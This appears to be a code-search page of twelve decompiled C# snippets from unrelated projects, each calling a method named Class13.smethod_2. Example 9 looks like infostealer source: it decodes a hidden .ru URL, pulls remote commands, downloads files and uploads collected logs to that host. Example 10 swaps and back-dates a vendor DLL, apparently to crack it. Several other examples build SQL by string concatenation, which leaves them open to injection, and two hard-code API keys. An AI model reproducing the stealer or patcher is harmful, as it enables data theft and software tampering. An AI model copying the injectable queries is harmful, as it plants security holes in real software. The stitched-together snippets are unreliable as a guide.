コード例 #1
0
        private void btn_Save_Click(object sender, EventArgs e)
        {
            DataSet       set;
            string        str   = this.method_1(this.treeList1);
            TreeListNodes nodes = this.treeList1.Nodes[0].Nodes;

            switch (Class11.string_1)
            {
            case "US":
                this.string_0           = string.Concat(new object[] { "UPDATE [tblUser]SET [rpright] ='", Class13.smethod_2(str), "' WHERE id = ", Class7.int_0 });
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                }
                this.oleDbConnection_0.Close();
                break;

            case "GRP":
                this.string_0           = "UPDATE [tblUserGrp]SET [rpright] ='" + Class13.smethod_2(str) + "' WHERE id = '" + Class7.string_0 + "' ";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                }
                this.oleDbConnection_0.Close();
                break;
            }
            base.Close();
        }
コード例 #2
0
        private void pfeZyQnoF(int int_0)
        {
            this.string_0           = " Select * from tblUser where id = " + int_0;
            this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_0, this.oleDbConnection_0);
            DataTable dataTable = new DataTable();

            this.oleDbDataAdapter_0.Fill(dataTable);
            string[]      strArray = Class13.smethod_2(dataTable.Rows[0]["rpright"].ToString()).Split(new char[] { ';' });
            int           index    = 0;
            string        str2     = null;
            TreeListNodes nodes    = this.treeList1.Nodes[0].Nodes;
            string        str3     = null;

            foreach (TreeListNode node in nodes)
            {
                str3 = node.GetValue(0).ToString();
                for (index = 0; index <= (strArray.Length - 1); index++)
                {
                    str2 = strArray[index].ToString();
                    if (str3 == str2)
                    {
                        node.Tag = 1;
                    }
                }
            }
            this.treeList1.ExpandAll();
        }
コード例 #3
0
ファイル: FrmUserMng.cs プロジェクト: khanhnguyen18/tvqlLib
        public void InvitAbleGroupMenu()
        {
            string           str       = null;
            string           str2      = this.Txt_ShortName.Text.Trim();
            OleDbDataAdapter adapter   = new OleDbDataAdapter("Select * from tblUser where Name = '" + str2 + "'", Class7.oleDbConnection_1);
            DataTable        dataTable = new DataTable();

            adapter.Fill(dataTable);
            str = dataTable.Rows[0]["Groups"].ToString().Trim();
            OleDbDataAdapter adapter2 = new OleDbDataAdapter(" Select * from tblUserGrp where Name = '" + str + "'", Class7.oleDbConnection_1);
            DataTable        table2   = new DataTable();

            adapter2.Fill(table2);
            string str3 = null;

            try
            {
                str3 = Class13.smethod_2(table2.Rows[0]["MenuPer"].ToString());
            }
            catch (Exception)
            {
                return;
            }
            string[]      strArray = str3.Split(new char[] { ';' });
            string        str4     = null;
            TreeListNodes nodes    = this.Tls_Menus1.Nodes[0].Nodes;
            string        str5     = null;

            foreach (TreeListNode node in nodes)
            {
                int count = node.Nodes.Count;
                foreach (TreeListNode node2 in node.Nodes)
                {
                    str5 = node2.GetValue(1).ToString();
                    for (int i = 0; i <= (strArray.Length - 1); i++)
                    {
                        str4 = strArray[i];
                        if (str5 == str4)
                        {
                            node2.Visible = false;
                            count--;
                        }
                    }
                }
                if (count == 0)
                {
                    node.Visible = false;
                }
            }
        }
コード例 #4
0
ファイル: FrmUserMng.cs プロジェクト: khanhnguyen18/tvqlLib
        private void method_1(string string_0)
        {
            OleDbDataAdapter adapter   = new OleDbDataAdapter(" Select * from tblUser where Name = '" + string_0 + "'", Class7.oleDbConnection_1);
            DataTable        dataTable = new DataTable();

            adapter.Fill(dataTable);
            string[]      strArray = Class13.smethod_2(dataTable.Rows[0]["mRight"].ToString()).Split(new char[] { ';' });
            int           index    = 0;
            string        str2     = null;
            TreeListNodes nodes    = this.Tls_Menus1.Nodes[0].Nodes;
            string        str3     = null;
            bool          flag     = false;

            foreach (TreeListNode node in nodes)
            {
                flag = false;
                foreach (TreeListNode node2 in node.Nodes)
                {
                    str3 = node2.GetValue(1).ToString();
                    for (index = 0; index <= (strArray.Length - 1); index++)
                    {
                        str2 = strArray[index].ToString();
                        if (str3 == str2)
                        {
                            node2.Tag = 1;
                            flag      = true;
                        }
                    }
                }
                if (flag)
                {
                    node.Tag = 2;
                }
            }
            this.Tls_Menus1.ExpandAll();
        }
コード例 #5
0
ファイル: Class13.cs プロジェクト: unionjl/CyberAIO
 // Token: 0x060000A9 RID: 169 RVA: 0x00003252 File Offset: 0x00001452
 public static string smethod_1(string string_11, string string_12)
 {
     return(Class13.smethod_2("87576edd5a373b323271ad0e367ba452", "7c480586f6", new Uri(string_11), string_12));
 }
コード例 #6
0
ファイル: Class13.cs プロジェクト: unionjl/CyberAIO
 // Token: 0x060000A8 RID: 168 RVA: 0x0000323A File Offset: 0x0000143A
 public static string smethod_0(string string_11, string string_12)
 {
     return(Class13.smethod_2("e705e8f04c662635f34962dfcac2af75", "1c88f5f855", new Uri(string_11), string_12));
 }
コード例 #7
0
 // Token: 0x060000A9 RID: 169 RVA: 0x00003279 File Offset: 0x00001479
 public static string smethod_1(string string_11, string string_12)
 {
     return(Class13.smethod_2(Class185.smethod_0(537689783), Class185.smethod_0(537689806), new Uri(string_11), string_12));
 }
コード例 #8
0
 // Token: 0x060000A8 RID: 168 RVA: 0x00003257 File Offset: 0x00001457
 public static string smethod_0(string string_11, string string_12)
 {
     return(Class13.smethod_2(Class185.smethod_0(537689967), Class185.smethod_0(537689734), new Uri(string_11), string_12));
 }
コード例 #9
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0
        private static void Main(string[] args)
        {
            Class9.smethod_0();
            Class9.smethod_1();
            Class9.smethod_2();
            string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ";

            byte[] byte_   = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275");
            byte[] bytes   = Encoding.Default.GetBytes(Class11.smethod_2(string_));
            string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_));

            byte[] bytes2 = Encoding.Default.GetBytes(@string);
            GClass9.smethod_0();
            Class23.smethod_5(Class23.string_0);
            GClass9.smethod_1();
            string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[]
            {
                ','
            });
            bool flag   = false;
            bool flag2  = false;
            bool flag3  = false;
            bool flag4  = false;
            bool flag5  = false;
            bool flag6  = false;
            bool flag7  = false;
            bool flag8  = false;
            bool flag9  = false;
            bool flag10 = false;
            bool flag11 = false;

            if (array[12] == "1")
            {
                flag8 = true;
            }
            if (!flag8)
            {
                Class12.smethod_5();
            }
            if (array[0] == "1")
            {
                flag = true;
            }
            if (array[1] == "1")
            {
                flag4 = true;
            }
            if (array[2] == "1")
            {
                flag5 = true;
            }
            if (array[3] == "1")
            {
                flag11 = true;
            }
            if (array[4] == "1")
            {
                flag2 = true;
            }
            if (array[5] == "1")
            {
                flag6 = true;
            }
            if (array[6] == "1")
            {
                flag10 = true;
            }
            if (array[7] == "1")
            {
                flag3 = true;
            }
            if (array[10] == "1")
            {
                flag9 = true;
            }
            if (array[11].StartsWith("http"))
            {
                flag7 = true;
            }
            if (flag7)
            {
                string text     = array[11];
                string fileName = Path.GetFileName(text);
                Class20.smethod_0(text, fileName);
            }
            if (flag)
            {
                Class13.smethod_3();
                Class21.smethod_0();
            }
            if (flag5)
            {
                Class18.smethod_0();
            }
            if (flag7)
            {
                string text2     = array[11];
                string fileName2 = Path.GetFileName(text2);
                Class20.smethod_0(text2, fileName2);
            }
            if (flag2)
            {
                Class17.smethod_10();
            }
            if (flag6)
            {
                Class17.smethod_6();
            }
            if (flag4)
            {
                Class15.smethod_0();
                Class13.smethod_2();
                Class25.smethod_9();
            }
            if (flag11)
            {
                Class17.smethod_5(GClass9.string_2);
            }
            if (flag3)
            {
                foreach (string item in array[8].Split(new char[]
                {
                    ':'
                }))
                {
                    Class17.list_0.Add(item);
                }
                Class17.int_0  = Convert.ToInt32(array[9]);
                Class17.int_0 *= 1024;
                Class17.smethod_8();
            }
            if (flag10)
            {
                Class17.smethod_9();
            }
            Class17.smethod_11();
            Class17.smethod_7();
            Class23.smethod_0();
            Class12.smethod_11();
            Class12.smethod_9();
            Class12.smethod_10();
            Class23.smethod_1();
            Class12.smethod_6();
            string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip";

            try
            {
                Class27.smethod_0();
                Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0);
            }
            catch
            {
            }
            if (flag9)
            {
                Class12.smethod_7();
            }
            Class12.smethod_8();
            Directory.Delete(GClass9.string_6);
        }
コード例 #10
0
    // Token: 0x060003F7 RID: 1015 RVA: 0x00017BF8 File Offset: 0x00015DF8
    public static bool smethod_5()
    {
        string            text = GClass0.String_0;
        ServiceController serviceController = new ServiceController(text);
        string            text2             = "";
        bool result = false;

        try
        {
            string left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\es\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "908576645D406E5D543E1F16428FCFDB", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\ru\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "C994E6B19DB5C8A8E4D0549F79CE32A5", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            left = Class13.smethod_6(AppDomain.CurrentDomain.BaseDirectory + "\\fr\\wAirCut.resources.dll");
            if (Operators.CompareString(left, "BF000AC77F51D507E038272A8E998290", false) != 0)
            {
                MessageBox.Show("Resorce file is wrong", "Waircut", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            if (serviceController.DisplayName != null)
            {
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services");
                if (registryKey != null)
                {
                    Class13.smethod_2(text);
                    registryKey.OpenSubKey(text).GetValue("ImagePath");
                    text2 = Path.GetDirectoryName(registryKey.OpenSubKey(text).GetValue("ImagePath").ToString());
                }
                if (Operators.CompareString(text2, "", false) != 0)
                {
                    left = Class13.smethod_6(text2 + "\\jswscsup.dll");
                    if (Operators.CompareString(left, "1FB6E3E894EDDFF1B2277235BAB769E9", false) == 0)
                    {
                        result = true;
                    }
                    else
                    {
                        GClass4 gclass = new GClass4(left);
                        byte[]  byte_  = GClass0.Byte_0;
                        byte[]  array  = gclass.method_2(ref byte_);
                        left = Class13.smethod_7(array);
                        if (Operators.CompareString(left, "1FB6E3E894EDDFF1B2277235BAB769E9", false) != 0)
                        {
                            MessageBox.Show(Class10.String_56, "Jumpstart Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                            return(false);
                        }
                        DateTime lastWriteTime = File.GetLastWriteTime(text2 + "\\jswscsup.dll");
                        DateTime creationTime  = File.GetCreationTime(text2 + "\\jswscsup.dll");
                        if (Class6.Class5_0.FileSystem.FileExists(text2 + "\\jswscsup-tmp.dll"))
                        {
                            Class6.Class5_0.FileSystem.DeleteFile(text2 + "\\jswscsup-tmp.dll");
                        }
                        Class6.Class5_0.FileSystem.RenameFile(text2 + "\\jswscsup.dll", "jswscsup-tmp.dll");
                        File.WriteAllBytes(text2 + "\\jswscsup.dll", array);
                        File.SetLastWriteTime(text2 + "\\jswscsup.dll", lastWriteTime);
                        File.SetCreationTime(text2 + "\\jswscsup.dll", creationTime);
                        if (Class6.Class5_0.FileSystem.FileExists(text2 + "\\jswscsup-tmp.dll"))
                        {
                            Class6.Class5_0.FileSystem.DeleteFile(text2 + "\\jswscsup-tmp.dll");
                        }
                        result = Class13.smethod_5();
                    }
                }
            }
        }
        catch (Exception ex)
        {
            MessageBox.Show(Class10.String_57, "Jumpstart Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        return(result);
    }
コード例 #11
0
ファイル: FrmUserMng.cs プロジェクト: khanhnguyen18/tvqlLib
        private void method_2()
        {
            string           str     = Class7.smethod_36(this.Tls_Menus1);
            TreeListNodes    nodes   = this.Tls_Menus1.Nodes[0].Nodes;
            OleDbDataAdapter adapter = new OleDbDataAdapter("UPDATE [tblUser]SET [mright] ='" + Class13.smethod_2(str) + "' WHERE Name = '" + this.Txt_ShortName.Text.Trim() + "' ", Class7.oleDbConnection_1);

            using (DataSet set = new DataSet())
            {
                adapter.Fill(set);
            }
            Class7.oleDbConnection_1.Close();
        }
コード例 #12
0
        private void method_2()
        {
            this.Txt_Description.Text.Trim();
            string str = Class7.smethod_36(this.Tls_Menus);

            if (this.Txt_Description.Text == string.Empty)
            {
                Class7.ShowMessageBox("Th\x00f4ng tin chưa đủ", 1);
            }
            else
            {
                foreach (TreeListNode node in this.Tls_Menus.Nodes[0].Nodes)
                {
                    if (!((node.ImageIndex == 1) | (node.ImageIndex == 2)))
                    {
                    }
                }
                OleDbDataAdapter adapter = new OleDbDataAdapter("UPDATE [tblUserGrp] SET [menuper] = '" + Class13.smethod_2(str) + "' WHERE Name = '" + this.Txt_ShortName.Text.Trim() + "' ", Class7.oleDbConnection_1);
                DataSet          dataSet = new DataSet();
                adapter.Fill(dataSet);
                Class7.oleDbConnection_1.Close();
            }
        }